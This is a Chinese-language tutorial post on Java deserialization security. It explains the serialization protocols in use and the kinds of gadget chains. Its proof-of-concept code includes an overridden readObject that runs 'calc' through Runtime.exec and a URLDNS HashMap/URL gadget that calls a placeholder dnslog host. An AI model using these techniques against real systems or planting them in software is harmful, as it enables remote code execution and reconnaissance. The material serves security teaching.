0%

35安全开发-JavaEE应用

思维导图

22安全开发

知识点:

  • 35、JavaEE-反序列化-解释&使用&安全
  • 36、JavaEE-安全-利用链&直接重写方法
  • 37、JavaEE-安全-利用链&外部重写方法

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,待补充


序列化/反序列化技术

  • 1、序列化与反序列化
    序列化:将内存中的对象压缩成字节流
    反序列化:将字节流转化成内存中的对象

  • 2、为什么有序列化技术
    序列化与反序列化的设计就是用来传输数据的。
    当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
    能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
    应用场景
    (1) 想把内存中的对象保存到一个文件中或者是数据库当中。
    (2) 用套接字在网络上传输对象。
    (3) 通过RMI传输对象的时候。

  • 3、几种创建的序列化和反序列化协议
    • JAVA内置的writeObject()/readObject()
            如果对方使用的是这种方法,那么就可以利用hashmap或重写来触发readObject,如果对方打印输出了反序列化结果,那么也可以利用toString来实现攻击。但是上述的这些方法,都取决于对方用的序列化与反序列化协议是writeObject与readObject。(攻击原理有3种,第1就是重写readObject,对方反序列化时由于用到了readObject,那么此时就会去调用readObject这个方法,但是如果我们自己也写了个与java本身的readObject名称一样的方法,那么对方执行的时候会将系统本身的readObject与我们写的readObject方法都执行一遍,假设我们写的readObject设定了弹出cmd,那么对方反序列化的时候就会弹出cmd。)
            第2种攻击方法hashmap,原理就是hashmap本身自己就定义了readObject,且这个readObject是自带的,且hashmap中的readObject会自动解析dns,也就是说如果我们塞进去的是一个危险网页,那么它一样会进行访问,如果这个网页中存在挂马之类的东西,危害可想而知。当然,第二种方法想要实现,那么对方必须同时使用hashmap和readObject。
            第3种攻击方法就是toString方法。如果对方在反序列化的时候同时输出了结果,那么就会执行toString中的代码,如果我们在代码中输入了打开计算器,那么对方在打印结果的时候就会自动打开计算器。这种方法必须得对方打印了反序列化的输出结果才有用,否则不生效。
            上述方法的这些方法必须建立在对方序列化与反序列化时,使用的是writeObject与readObject,否则都是不生效的。对方使用的序列化与反序列化的方法不同,那么我们的攻击方式也会有所不同,上述的攻击方法都建立在readObject的利用上,所以对方一旦使用的不是readObject,那么这些方法就会失效。
    • JAVA内置的XMLDecoder()/XMLEncoder
    • XStream
    • SnakeYaml
    • FastJson
    • Jackson

  • 4、为什么会出现反序列化安全问题
    内置原生写法分析
    • 重写readObject方法
    • 输出调用toString方法

  • 5、反序列化利用链
    (1) 入口类的readObject直接调用危险方法
    (2) 入口参数中包含可控类,该类有危险方法,readObject时调用
    (3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
    (4) 构造函数/静态代码块等类加载时隐式执行(例如:tostring)

Java-原生使用-序列化&反序列化

1
2
3
4
5
6
7
8
9
10
11
//进行序列化对象并写入文件ser.txt
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
//读入Filename进行反序列化
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}

Java-安全问题-重写方法&触发方法

1
2
3
4
5
6
7
8
9
10
11
12
toString //输出调用toString方法
User u = new User("xdsec","man",30);
System.out.println(u);
serializeTest(u);
unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

Java-安全问题-可控其他类重写方法

参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

UrlDNS.java

package com.example.serdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDNS implements Serializable {

public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url=new URL("http://xxxx.dnslog.cn");
hashmap.put(url,1);
//进行序列化对象hashmap
serializeTest(hashmap);
//进行反序列化dns.txt
unserializeTest("dns.txt");
}

public static void serializeTest(Object obj) throws IOException {
//进行序列化对象并写入文件dns.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
//读入Filename进行反序列化
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();//默认调用ObjectInputStream里的readObject();
return o;
}
}

欢迎关注我的其它发布渠道

-------------本文结束感谢您的阅读-------------